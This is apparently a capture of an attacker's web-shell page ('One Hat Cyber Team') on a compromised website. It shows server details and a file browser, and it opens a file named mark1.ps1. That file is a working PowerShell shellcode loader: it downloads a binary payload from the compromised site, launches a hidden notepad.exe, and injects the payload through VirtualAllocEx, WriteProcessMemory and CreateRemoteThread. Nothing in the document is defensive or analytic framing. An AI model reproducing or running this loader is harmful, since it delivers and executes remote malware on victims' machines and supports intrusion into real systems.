One Hat Cyber Team

Your IP : 216.73.216.193

Server IP : 170.247.48.121

Server : Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64

Server Software : Apache

PHP Version : 7.0.33

Buat File | Buat Folder

Dir : ~/home/lelopagani.com.br/public/assets/js/

Edit File: mark1.ps1

# Load your shellcode from URL
$webClient = New-Object System.Net.WebClient
$shellcode = $webClient.DownloadData("https://www.lelopagani.com.br/assets/js/mark.bin")

# Start target process
$process = Start-Process -FilePath "C:\Windows\System32\notepad.exe" -WindowStyle Hidden -PassThru
Start-Sleep -Seconds 5

# Get process handle via .NET (no C# needed)
$hProcess = $process.SafeHandle.DangerousGetHandle()

# Use Win32 API via C# but in a way that actually compiles
$cSharpCode = @'
using System;
using System.Runtime.InteropServices;

public class Injector
{
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
'@

Add-Type -TypeDefinition $cSharpCode -Language CSharp

# Inject
$mem = [Injector]::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
$bytesWritten = [IntPtr]::Zero
[Injector]::WriteProcessMemory($hProcess, $mem, $shellcode, $shellcode.Length, [ref]$bytesWritten)
[Injector]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)

Write-Host "Shellcode injected into PID: $($process.Id)" -ForegroundColor Green